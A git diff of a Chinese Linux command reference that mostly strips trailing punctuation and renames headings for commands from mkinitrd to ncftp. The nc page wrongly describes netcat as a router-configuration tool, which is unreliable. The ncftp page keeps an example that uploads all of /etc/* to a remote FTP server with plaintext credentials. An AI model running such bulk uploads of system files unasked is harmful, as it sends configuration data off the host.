a/Linux_man_cn/mkinitrd.md +++ b/Linux_man_cn/mkinitrd.md @@ -5,11 +5,11 @@ mkinitrd ## 说明 -**mkinitrd命令** 建立要载入ramdisk的映像文件,以供Linux开机时载入ramdisk。 +**mkinitrd命令** 建立要载入ramdisk的映像文件,以供Linux开机时载入ramdisk 这个是重新封包核心的命令,例如你自己修改了一个设备的驱动,如果这个驱动要加入核心级别的话,就需要对核心进行重新封包,把新加的配置编译到核心内部去! -### 语法 +## 选项 ``` mkinitrd(选项)(参数) @@ -18,20 +18,20 @@ mkinitrd(选项)(参数) ``` --f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件; --v:执行时显示详细的信息; ---omit-scsi-modules:不要载入SCSI模块; ---preload=<模块名称>:指定要载入的模块; ---with=<模块名称>:指定要载入的模块; ---version:显示版本信息。 +-f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件 +-v:执行时显示详细的信息 +--omit-scsi-modules:不要载入SCSI模块 +--preload=<模块名称>:指定要载入的模块 +--with=<模块名称>:指定要载入的模块 +--version:显示版本信息 ``` ### 参数 -* 映像文件:指定要创建的映像文件; -* 内核版本:指定内核版本。 +* 映像文件:指定要创建的映像文件 +* 内核版本:指定内核版本 -### 实例 +## 实例 ``` [root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r) diff --git a/Linux_man_cn/mkisofs.md b/Linux_man_cn/mkisofs.md index 4b75b85..841b7bc 100644 --- a/Linux_man_cn/mkisofs.md +++ b/Linux_man_cn/mkisofs.md @@ -5,9 +5,9 @@ mkisofs ## 说明 -**mkisofs命令** 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。 +**mkisofs命令** 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘 -### 语法 +## 选项 ``` mkisofs(选项)(参数) @@ -16,48 +16,48 @@ mkisofs(选项)(参数) ``` --a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中; --A<应用程序id>或-appid<应用程序ID>:指定光盘的应用程序ID; --abstract<摘要文件>:指定摘要文件的文件名; --b<开机映像文件>或-eltorito-boot<开机映像文件>:指定在制作可开机光盘时所需的开机映像文件; --biblio:指定ISBN文件的文件名,ISBN文件位于光盘根目录下,记录光盘的ISBN; --c<开机文件名称>:制作可开机光盘时,mkisofs会将开机映像文件中的全-eltorito-catalog<开机文件名称>全部内容作成一个文件; --C<盘区编号,盘区编号>:将许多节区合成一个映像文件时,必须使用此参数; --copyright<版权信息文件>:指定版权信息文件的文件名; --d或-omit-period:省略文件后的句号; --D或-disable-deep-relocation:ISO 9660最多只能处理8层的目录,超过8层的部分,RRIP会自动将它们设置成ISO 9660兼容的格式。使用-D参数可关闭此功能; --f或-follow-links:忽略符号连接; --h:显示帮助; --hide<目录或文件名>:使指定的目录或文件在ISO 9660或Rock RidgeExtensions的系统中隐藏; --hide-joliet<目录或文件名>:使指定的目录或文件在Joliet系统中隐藏; --J或-joliet:使用Joliet格式的目录与文件名称; --l或-full-iso9660-filenames:使用ISO 9660 32字符长度的文件名; --L或-allow-leading-dots:允许文件名的第一个字符为句号; --log-file<记录文件>:在执行过程中若有错误信息,预设会显示在屏幕上; --m<目录或文件名>或-exclude<目录或文件名>:指定的目录或文件名将不会房入映像文件中; --M<映像文件>或-prev-session<映像文件>:与指定的映像文件合并; --N或-omit-version-number:省略ISO 9660文件中的版本信息; --o<映像文件>或-output<映像文件>:指定映像文件的名称; --p<数据处理人>或-preparer<数据处理人>:记录光盘的数据处理人; --print-size:显示预估的文件系统大小; --quiet:执行时不显示任何信息; --r或-rational-rock:使用Rock Ridge Extensions,并开放全部文件的读取权限; --R或-rock:使用Rock Ridge Extensions; --sysid<系统ID>:指定光盘的系统ID; --T或-translation-table:建立文件名的转换表,适用于不支持Rock Ridge Extensions的系统上; --v或-verbose:执行时显示详细的信息; --V<光盘ID>或-volid<光盘ID>:指定光盘的卷册集ID; --volset-size<光盘总数>:指定卷册集所包含的光盘张数; --volset-seqno<卷册序号>:指定光盘片在卷册集中的编号; --x<目录>:指定的目录将不会放入映像文件中; --z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效。 +-a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中 +-A<应用程序id>或-appid<应用程序ID>:指定光盘的应用程序ID +-abstract<摘要文件>:指定摘要文件的文件名 +-b<开机映像文件>或-eltorito-boot<开机映像文件>:指定在制作可开机光盘时所需的开机映像文件 +-biblio:指定ISBN文件的文件名,ISBN文件位于光盘根目录下,记录光盘的ISBN +-c<开机文件名称>:制作可开机光盘时,mkisofs会将开机映像文件中的全-eltorito-catalog<开机文件名称>全部内容作成一个文件 +-C<盘区编号,盘区编号>:将许多节区合成一个映像文件时,必须使用此参数 +-copyright<版权信息文件>:指定版权信息文件的文件名 +-d或-omit-period:省略文件后的句号 +-D或-disable-deep-relocation:ISO 9660最多只能处理8层的目录,超过8层的部分,RRIP会自动将它们设置成ISO 9660兼容的格式。使用-D参数可关闭此功能 +-f或-follow-links:忽略符号连接 +-h:显示帮助 +-hide<目录或文件名>:使指定的目录或文件在ISO 9660或Rock RidgeExtensions的系统中隐藏 +-hide-joliet<目录或文件名>:使指定的目录或文件在Joliet系统中隐藏 +-J或-joliet:使用Joliet格式的目录与文件名称 +-l或-full-iso9660-filenames:使用ISO 9660 32字符长度的文件名 +-L或-allow-leading-dots:允许文件名的第一个字符为句号 +-log-file<记录文件>:在执行过程中若有错误信息,预设会显示在屏幕上 +-m<目录或文件名>或-exclude<目录或文件名>:指定的目录或文件名将不会房入映像文件中 +-M<映像文件>或-prev-session<映像文件>:与指定的映像文件合并 +-N或-omit-version-number:省略ISO 9660文件中的版本信息 +-o<映像文件>或-output<映像文件>:指定映像文件的名称 +-p<数据处理人>或-preparer<数据处理人>:记录光盘的数据处理人 +-print-size:显示预估的文件系统大小 +-quiet:执行时不显示任何信息 +-r或-rational-rock:使用Rock Ridge Extensions,并开放全部文件的读取权限 +-R或-rock:使用Rock Ridge Extensions +-sysid<系统ID>:指定光盘的系统ID +-T或-translation-table:建立文件名的转换表,适用于不支持Rock Ridge Extensions的系统上 +-v或-verbose:执行时显示详细的信息 +-V<光盘ID>或-volid<光盘ID>:指定光盘的卷册集ID +-volset-size<光盘总数>:指定卷册集所包含的光盘张数 +-volset-seqno<卷册序号>:指定光盘片在卷册集中的编号 +-x<目录>:指定的目录将不会放入映像文件中 +-z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效 ``` ### 参数 -路径:需要添加到映像文件中的路径。 +路径:需要添加到映像文件中的路径 -### 实例 +## 实例 linux中用mkisofs命令把文件制作成ISO步骤: diff --git a/Linux_man_cn/mknod.md b/Linux_man_cn/mknod.md index 299876f..685a29b 100644 --- a/Linux_man_cn/mknod.md +++ b/Linux_man_cn/mknod.md @@ -5,9 +5,9 @@ mknod ## 说明 -**mknod命令** 用于创建Linux中的字符设备文件和块设备文件。 +**mknod命令** 用于创建Linux中的字符设备文件和块设备文件 -### 语法 +## 选项 ``` mknod(选项)(参数) @@ -16,20 +16,20 @@ mknod(选项)(参数) ``` --Z:设置安全的上下文; --m:设置权限模式; --help:显示帮助信息; ---version:显示版本信息。 +-Z:设置安全的上下文 +-m:设置权限模式 +-help:显示帮助信息 +--version:显示版本信息 ``` ### 参数 -* 文件名:要创建的设备文件名; -* 类型:指定要创建的设备文件的类型; -* 主设备号:指定设备文件的主设备号; -* 次设备号:指定设备文件的次设备号。 +* 文件名:要创建的设备文件名 +* 类型:指定要创建的设备文件的类型 +* 主设备号:指定设备文件的主设备号 +* 次设备号:指定设备文件的次设备号 -### 实例 +## 实例 ``` ls -la /dev/ttyUSB* @@ -39,12 +39,12 @@ mknod /dev/ttyUSB32 c 188 32 ### 扩展知识 -Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。 +Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样 -为了管理这些设备,系统为设备编了号,每 个设备号又分为主设备号和次设备号。主设备号用来区分不同种类的设备,而次设备号用来区分同一类型的多个设备。对于常用设备,Linux有约定俗成的编 号,如硬盘的主设备号是3。 +为了管理这些设备,系统为设备编了号,每 个设备号又分为主设备号和次设备号。主设备号用来区分不同种类的设备,而次设备号用来区分同一类型的多个设备。对于常用设备,Linux有约定俗成的编 号,如硬盘的主设备号是3 -Linux为所有的设备文件都提供了统一的操作函数接口,方法是使用数据结构struct file_operations。这个数据结构中包括许多操作函数的指针,如open()、close()、read()和write()等,但由于外设 的种类较多,操作方式各不相同。Struct file_operations结构体中的成员为一系列的接口函数,如用于读/写的read/write函数和用于控制的ioctl等。 +Linux为所有的设备文件都提供了统一的操作函数接口,方法是使用数据结构struct file_operations。这个数据结构中包括许多操作函数的指针,如open()、close()、read()和write()等,但由于外设 的种类较多,操作方式各不相同。Struct file_operations结构体中的成员为一系列的接口函数,如用于读/写的read/write函数和用于控制的ioctl等 -打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。 +打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口 diff --git a/Linux_man_cn/mkswap.md b/Linux_man_cn/mkswap.md index 3b35514..9075f6c 100644 --- a/Linux_man_cn/mkswap.md +++ b/Linux_man_cn/mkswap.md @@ -7,10 +7,10 @@ ``` --c:建立交换区前,先检查是否有损坏的区块; --f:在SPARC电脑上建立交换区时,要加上此参数; --v0:建立旧式交换区,此为预设值; --v1:建立新式交换区。 +-c:建立交换区前,先检查是否有损坏的区块 +-f:在SPARC电脑上建立交换区时,要加上此参数 +-v0:建立旧式交换区,此为预设值 +-v1:建立新式交换区 ``` ## 实例 @@ -37,7 +37,7 @@ cat /proc/swaps **添加交换空间** -添加一个 **交换分区** 或添加一个 **交换文件** 。推荐你添加一个交换分区;不过,若你没有多少空闲空间可用,则添加交换文件。 +添加一个 **交换分区** 或添加一个 **交换文件** 。推荐你添加一个交换分区;不过,若你没有多少空闲空间可用,则添加交换文件 添加一个交换分区,步骤如下: @@ -85,7 +85,7 @@ swapon /swapfile1 /swapfile1 swap swap defaults 0 0 ``` -新添了交换分区并启用它之后,请查看`cat /proc/swaps`或free命令的输出来确保交换分区已被启用了。 +新添了交换分区并启用它之后,请查看`cat /proc/swaps`或free命令的输出来确保交换分区已被启用了 **删除交换空间:** @@ -95,6 +95,6 @@ swapon /swapfile1 swapoff /dev/sdb2 ``` -从`/etc/fstab`中删除项目,使用fdisk或yast工具删除分区。 +从`/etc/fstab`中删除项目,使用fdisk或yast工具删除分区 diff --git a/Linux_man_cn/mktemp.md b/Linux_man_cn/mktemp.md index 97efc14..e67137d 100644 --- a/Linux_man_cn/mktemp.md +++ b/Linux_man_cn/mktemp.md @@ -5,9 +5,9 @@ mktemp ## 说明 -**mktemp命令** 被用来创建临时文件供shell脚本使用。 +**mktemp命令** 被用来创建临时文件供shell脚本使用 -### 语法 +## 选项 ``` mktemp(选项)(参数) @@ -16,13 +16,13 @@ mktemp(选项)(参数) ``` --q:执行时若发生错误,不会显示任何信息; --u:暂存文件会在mktemp结束前先行删除; --d:创建一个目录而非文件。 +-q:执行时若发生错误,不会显示任何信息 +-u:暂存文件会在mktemp结束前先行删除 +-d:创建一个目录而非文件 ``` ### 参数 -文件:指定创建的临时文件。 +文件:指定创建的临时文件 diff --git a/Linux_man_cn/modprobe.md b/Linux_man_cn/modprobe.md index 20fcfba..e29d5b1 100644 --- a/Linux_man_cn/modprobe.md +++ b/Linux_man_cn/modprobe.md @@ -5,11 +5,11 @@ modprobe ## 说明 -**modprobe命令** 用于智能地向内核中加载模块或者从内核中移除模块。 +**modprobe命令** 用于智能地向内核中加载模块或者从内核中移除模块 -modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。 +modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块 -### 语法 +## 选项 ``` modprobe(选项)(参数) @@ -18,22 +18,22 @@ modprobe(选项)(参数) ``` --a或--all:载入全部的模块; --c或--show-conf:显示所有模块的设置信息; --d或--debug:使用排错模式; --l或--list:显示可用的模块; --r或--remove:模块闲置不用时,即自动卸载模块; --t或--type:指定模块类型; --v或--verbose:执行时显示详细的信息; --V或--version:显示版本信息; --help:显示帮助。 +-a或--all:载入全部的模块 +-c或--show-conf:显示所有模块的设置信息 +-d或--debug:使用排错模式 +-l或--list:显示可用的模块 +-r或--remove:模块闲置不用时,即自动卸载模块 +-t或--type:指定模块类型 +-v或--verbose:执行时显示详细的信息 +-V或--version:显示版本信息 +-help:显示帮助 ``` ### 参数 -模块名:要加载或移除的模块名称。 +模块名:要加载或移除的模块名称 -### 实例 +## 实例 **查看modules的配置文件:** @@ -65,7 +65,7 @@ modprobe -l modprobe vfat ``` -这里,使用格式`modprobe 模块名`来挂载一个模块。挂载之后,用lsmod可以查看已经挂载的模块。模块名是不能带有后缀的,我们通过`modprobe -l`所看到的模块,都是带有`.ko`或`.o`后缀。 +这里,使用格式`modprobe 模块名`来挂载一个模块。挂载之后,用lsmod可以查看已经挂载的模块。模块名是不能带有后缀的,我们通过`modprobe -l`所看到的模块,都是带有`.ko`或`.o`后缀 **移除已经加载的模块:** @@ -73,7 +73,7 @@ modprobe vfat modprobe -r 模块名 ``` -这里,移除已加载的模块,和rmmod功能相同。 +这里,移除已加载的模块,和rmmod功能相同 diff --git a/Linux_man_cn/more.md b/Linux_man_cn/more.md index abf368d..ffbe212 100644 --- a/Linux_man_cn/more.md +++ b/Linux_man_cn/more.md @@ -5,18 +5,18 @@ more ## 说明 -**more命令** 是一个基于vi编辑器文本过滤器,它以全屏幕的方式按页显示文本文件的内容,支持vi中的关键字定位操作。more名单中内置了若干快捷键,常用的有H(获得帮助信息),Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)。 +**more命令** 是一个基于vi编辑器文本过滤器,它以全屏幕的方式按页显示文本文件的内容,支持vi中的关键字定位操作。more名单中内置了若干快捷键,常用的有H(获得帮助信息),Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令) 该命令一次显示一屏文本,满屏后停下来,并且在屏幕的底部出现一个提示信息,给出至今己显示的该文件的百分比:--More--(XX%)可以用下列不同的方法对提示做出回答: -* 按Space键:显示文本的下一屏内容。 -* 按Enier键:只显示文本的下一行内容。 -* 按斜线符`|`:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。 -* 按H键:显示帮助屏,该屏上有相关的帮助信息。 -* 按B键:显示上一屏内容。 -* 按Q键:退出rnore命令。 +* 按Space键:显示文本的下一屏内容 +* 按Enier键:只显示文本的下一行内容 +* 按斜线符`|`:接着输入一个模式,可以在文本中寻找下一个相匹配的模式 +* 按H键:显示帮助屏,该屏上有相关的帮助信息 +* 按B键:显示上一屏内容 +* 按Q键:退出rnore命令 -### 语法 +## 选项 ``` more(语法)(参数) @@ -25,27 +25,27 @@ more(语法)(参数) ``` --<数字>:指定每屏显示的行数; --d:显示“[press space to continue,'q' to quit.]”和“[Press 'h' for instructions]”; --c:不进行滚屏操作。每次刷新这个屏幕; --s:将多个空行压缩成一行显示; --u:禁止下划线; -+<数字>:从指定数字的行开始显示。 +-<数字>:指定每屏显示的行数 +-d:显示“[press space to continue,'q' to quit.]”和“[Press 'h' for instructions]” +-c:不进行滚屏操作。每次刷新这个屏幕 +-s:将多个空行压缩成一行显示 +-u:禁止下划线 ++<数字>:从指定数字的行开始显示 ``` ### 参数 -文件:指定分页显示内容的文件。 +文件:指定分页显示内容的文件 -### 实例 +## 实例 -显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完核的百分比。 +显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完核的百分比 ``` more -dc file ``` -显示文件file的内容,每10行显示一次,而且在显示之前先清屏。 +显示文件file的内容,每10行显示一次,而且在显示之前先清屏 ``` more -c -10 file diff --git a/Linux_man_cn/mpstat.md b/Linux_man_cn/mpstat.md index ec54243..273d95d 100644 --- a/Linux_man_cn/mpstat.md +++ b/Linux_man_cn/mpstat.md @@ -22,7 +22,7 @@ # 按照CPU 号排序。第一个行给出了从系统引导以来的所有活跃数据。接下来每行对应一个处理器的活跃状态 mpstat -P ALL 2 3 -# 比较带参数和不带参数的mpstat的结果:当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。 +# 比较带参数和不带参数的mpstat的结果:当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题 ``` diff --git a/Linux_man_cn/mtools.md b/Linux_man_cn/mtools.md index 76562d3..5aea670 100644 --- a/Linux_man_cn/mtools.md +++ b/Linux_man_cn/mtools.md @@ -5,9 +5,9 @@ mtools ## 说明 -**mtools命令** 显示mtools支持的指令,mtools为MS-DOS文件系统的工具程序,可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接,因此会有一些共同的特性。 +**mtools命令** 显示mtools支持的指令,mtools为MS-DOS文件系统的工具程序,可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接,因此会有一些共同的特性 -### 语法 +## 选项 ``` mtools(选项) @@ -16,19 +16,19 @@ mtools(选项) ``` --a:长文件名重复时自动更改目标文件的长文件名; --A:短文件名重复但长文件名不同时自动更改目标文件的短文件名; --o:长文件名重复时,将目标文件覆盖现有的文件; --O:短文件名重复但长文件名不同时,将目标文件覆盖现有的文件; --r:长文件名重复时,要求用户更改目标文件的长文件名; --R:短文件名重复但长文件名不同时,要求用户更改目标文件的短文件名; --s:长文件名重复时,则不处理该目标文件; --S:短文件名重复但长文件名不同时,则不处理该目标文件; --v:执行时显示详细的说明; --V:显示版本信息。 +-a:长文件名重复时自动更改目标文件的长文件名 +-A:短文件名重复但长文件名不同时自动更改目标文件的短文件名 +-o:长文件名重复时,将目标文件覆盖现有的文件 +-O:短文件名重复但长文件名不同时,将目标文件覆盖现有的文件 +-r:长文件名重复时,要求用户更改目标文件的长文件名 +-R:短文件名重复但长文件名不同时,要求用户更改目标文件的短文件名 +-s:长文件名重复时,则不处理该目标文件 +-S:短文件名重复但长文件名不同时,则不处理该目标文件 +-v:执行时显示详细的说明 +-V:显示版本信息 ``` -### 实例 +## 实例 使用mtools命令显示其支持的所有的指令,输入如下命令: @@ -42,6 +42,6 @@ mwrite, mzip ``` -如上所示,其显示的所有命令均为mtools工具所支持的。 +如上所示,其显示的所有命令均为mtools工具所支持的 diff --git a/Linux_man_cn/mv.md b/Linux_man_cn/mv.md index 57e0bf2..bb73f40 100644 --- a/Linux_man_cn/mv.md +++ b/Linux_man_cn/mv.md @@ -7,7 +7,7 @@ mv命令可以用来将源文件移至一个目标文件中,或将一组文件移至一个目标目录中。源文件被移至目标文件有两种不同的结果: -1. 如果目标文件是到某一目录文件的路径,源文件会被移到此目录下,且文件名不变。 +1. 如果目标文件是到某一目录文件的路径,源文件会被移到此目录下,且文件名不变 2. 如果目标文件不是目录文件,则源文件名(只能有一个)会变为此目标文件名,并覆盖己存在的同名文件。如果源文件和目标文件在 同一个目录下,mv的作用就是改文件名。当目标文件是目录文件时,源文件或目录参数可以有多个,则所有的源文件都会被移至目标文件 中。所有移到该目录下的文件都将保留以前的文件名 diff --git a/Linux_man_cn/named-checkzone.md b/Linux_man_cn/named-checkzone.md index d60c848..76e9337 100644 --- a/Linux_man_cn/named-checkzone.md +++ b/Linux_man_cn/named-checkzone.md @@ -1,13 +1,13 @@ named-checkzone === -使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 +使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称 ## 说明 -**named-checkzone命令** 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 +**named-checkzone命令** 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称 -### 语法 +## 选项 ``` named-checkzone [选项] [区域名] [区域文件名] @@ -23,7 +23,7 @@ named-checkzone [选项] [区域名] [区域文件名] ### 例子 -对区域文件/var/named/192.168.0.rev进行有效性检查和转换。 +对区域文件/var/named/192.168.0.rev进行有效性检查和转换 ```bash [root@localhost ~]# named-checkzone 0.168.192.in-addr.arpa /var/named/192.168.0.rev @@ -31,7 +31,7 @@ zone0.168.192.in-addr.arpa/IN: loaded serial 1268360612 OK ``` -对区域文件/var/named/sh.com.hosts进行有效性检查和转换。 +对区域文件/var/named/sh.com.hosts进行有效性检查和转换 ```bash [root@localhost ~]# named-checkzone sh.com /var/named/sh.com.hosts diff --git a/Linux_man_cn/nano.md b/Linux_man_cn/nano.md index e96d973..1d5d579 100644 --- a/Linux_man_cn/nano.md +++ b/Linux_man_cn/nano.md @@ -5,11 +5,11 @@ nano ## 说明 -**nano** 是一个字符终端的文本编辑器,有点像DOS下的editor程序。它比vi/vim要简单得多,比较适合Linux初学者使用。某些Linux发行版的默认编辑器就是nano。 +**nano** 是一个字符终端的文本编辑器,有点像DOS下的editor程序。它比vi/vim要简单得多,比较适合Linux初学者使用。某些Linux发行版的默认编辑器就是nano -nano命令可以打开指定文件进行编辑,默认情况下它会自动断行,即在一行中输入过长的内容时自动拆分成几行,但用这种方式来处理某些文件可能会带来问题,比如Linux系统的配置文件,自动断行就会使本来只能写在一行上的内容折断成多行了,有可能造成系统不灵了。因此,如果你想避免这种情况出现,就加上`-w`选项吧。 +nano命令可以打开指定文件进行编辑,默认情况下它会自动断行,即在一行中输入过长的内容时自动拆分成几行,但用这种方式来处理某些文件可能会带来问题,比如Linux系统的配置文件,自动断行就会使本来只能写在一行上的内容折断成多行了,有可能造成系统不灵了。因此,如果你想避免这种情况出现,就加上`-w`选项吧 -### 语法 +## 选项 ``` nano [选项] [[+行,列] 文件名]... @@ -66,8 +66,8 @@ nano [选项] [[+行,列] 文件名]... **光标控制** -* 移动光标:使用用方向键移动。 -* 选择文字:按住鼠标左键拖到。 +* 移动光标:使用用方向键移动 +* 选择文字:按住鼠标左键拖到 **复制、剪贴和粘贴** @@ -76,11 +76,11 @@ nano [选项] [[+行,列] 文件名]... **粘贴:Ctrl+U** -如果需要复制/剪贴多行或者一行中的一部分,先将光标移动到需要复制/剪贴的文本的开头,按Ctrl+6(或者Alt+A)做标记,然后移动光标到 待复制/剪贴的文本末尾。这时选定的文本会反白,用Alt+6来复制,Ctrl+K来剪贴。若在选择文本过程中要取消,只需要再按一次Ctrl+6。 +如果需要复制/剪贴多行或者一行中的一部分,先将光标移动到需要复制/剪贴的文本的开头,按Ctrl+6(或者Alt+A)做标记,然后移动光标到 待复制/剪贴的文本末尾。这时选定的文本会反白,用Alt+6来复制,Ctrl+K来剪贴。若在选择文本过程中要取消,只需要再按一次Ctrl+6 **搜索** -按Ctrl+W,然后输入你要搜索的关键字,回车确定。这将会定位到第一个匹配的文本,接着可以用Alt+W来定位到下一个匹配的文本。 +按Ctrl+W,然后输入你要搜索的关键字,回车确定。这将会定位到第一个匹配的文本,接着可以用Alt+W来定位到下一个匹配的文本 **翻页** @@ -95,6 +95,6 @@ nano [选项] [[+行,列] 文件名]... 按Ctrl+X -如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为)则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回。 +如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为)则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回 diff --git a/Linux_man_cn/nc.md b/Linux_man_cn/nc.md index 9d218b6..a5ac3d8 100644 --- a/Linux_man_cn/nc.md +++ b/Linux_man_cn/nc.md @@ -1,13 +1,13 @@ nc === -命令用于设置路由器。 +命令用于设置路由器 ## 说明 -**nc命令** 用于设置路由器。执行本指令可设置路由器的相关参数。 +**nc命令** 用于设置路由器。执行本指令可设置路由器的相关参数 -### 语法 +## 选项 ``` nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>] @@ -17,23 +17,23 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 ``` --g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。 --G<指向器数目> 设置来源路由指向器,其数值为4的倍数。 --h 在线帮助。 --i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 --l 使用监听模式,管控传入的资料。 --n 直接使用IP地址,而不通过域名服务器。 --o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 --p<通信端口> 设置本地主机使用的通信端口。 --r 乱数指定本地与远端主机的通信端口。 --s<来源位址> 设置本地主机送出数据包的IP地址。 --u 使用UDP传输协议。 --v 显示指令执行过程。 --w<超时秒数> 设置等待连线的时间。 --z 使用0输入/输出模式,只在扫描通信端口时使用。 +-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个 +-G<指向器数目> 设置来源路由指向器,其数值为4的倍数 +-h 在线帮助 +-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口 +-l 使用监听模式,管控传入的资料 +-n 直接使用IP地址,而不通过域名服务器 +-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存 +-p<通信端口> 设置本地主机使用的通信端口 +-r 乱数指定本地与远端主机的通信端口 +-s<来源位址> 设置本地主机送出数据包的IP地址 +-u 使用UDP传输协议 +-v 显示指令执行过程 +-w<超时秒数> 设置等待连线的时间 +-z 使用0输入/输出模式,只在扫描通信端口时使用 ``` -### 实例 +## 实例 TCP端口扫描 diff --git a/Linux_man_cn/ncftp.md b/Linux_man_cn/ncftp.md index a830e80..d578476 100644 --- a/Linux_man_cn/ncftp.md +++ b/Linux_man_cn/ncftp.md @@ -5,9 +5,9 @@ ncftp ## 说明 -**ncftp命令** 是增强的的ftp工具,比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者,它具备多样特色,包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等。 +**ncftp命令** 是增强的的ftp工具,比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者,它具备多样特色,包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等 -### 语法 +## 选项 ``` ncftp(选项)(参数) @@ -16,16 +16,16 @@ ncftp(选项)(参数) ``` --u:指定登录FTP服务器时使用的用户名; --p:指定登录FTP服务器时使用的密码; --P:如果FTP服务器没有使用默认的TCP协议的21端口,则使用此选项指定FTP服务器的端口号。 +-u:指定登录FTP服务器时使用的用户名 +-p:指定登录FTP服务器时使用的密码 +-P:如果FTP服务器没有使用默认的TCP协议的21端口,则使用此选项指定FTP服务器的端口号 -m:在传之前尝试在目录位置创建目录(用于传目录的情况) -R:递规传子目录 ``` ### 参数 -FTP服务器:指定远程FTP服务器的ip地址或主机名。 +FTP服务器:指定远程FTP服务器的ip地址或主机名 ### 安装 @@ -37,9 +37,9 @@ cd ncftp-3.2.3/ make && make install ``` -### 实例 +## 实例 -将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。 +将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建) ``` /usr/local/ncftp/bin/ncftpput -u koumm -p koumm -P 21 -m -R 192.168.162.137 flv/games/ /etc/* @@ -47,17 +47,17 @@ make && make install **指令说明** -ncftp的基本命令和普通ftp一样,可以输入help获得命令列表。对于所有的命令,都可以使用help <命令>的格式获得详细帮助。l开头的就是对本地执行的命令,其它的就是对登入的ftp服务目录的操作命令。 +ncftp的基本命令和普通ftp一样,可以输入help获得命令列表。对于所有的命令,都可以使用help <命令>的格式获得详细帮助。l开头的就是对本地执行的命令,其它的就是对登入的ftp服务目录的操作命令 增加的本地文件系统的操作命令: -* lls: 列出本地当前目录文件; -* lmkdir : 本地建立目录; -* lrename: 本地文件改名; -* lpwd: 显示当前本地路 径; -* lchmod: 改变本地文件权限; -* lpage: 显示本地文件内容; -* lrm: 删除本地文件; -* lrmdir: 删除本地目录。 +* lls: 列出本地当前目录文件 +* lmkdir : 本地建立目录 +* lrename: 本地文件改名 +* lpwd: 显示当前本地路 径 +* lchmod: 改变本地文件权限 +* lpage: 显示本地文件内容 +* lrm: 删除本地文件 +* lrmdir: 删除本地目录 diff --git a/Linux_man_cn/nethogs.md b/Linux_man_cn/nethogs.md index 68b64a1..2f89e26 100644 --- a/Linux_man_cn/nethogs.md +++ b/Linux_man_cn/nethogs.md @@ -5,18 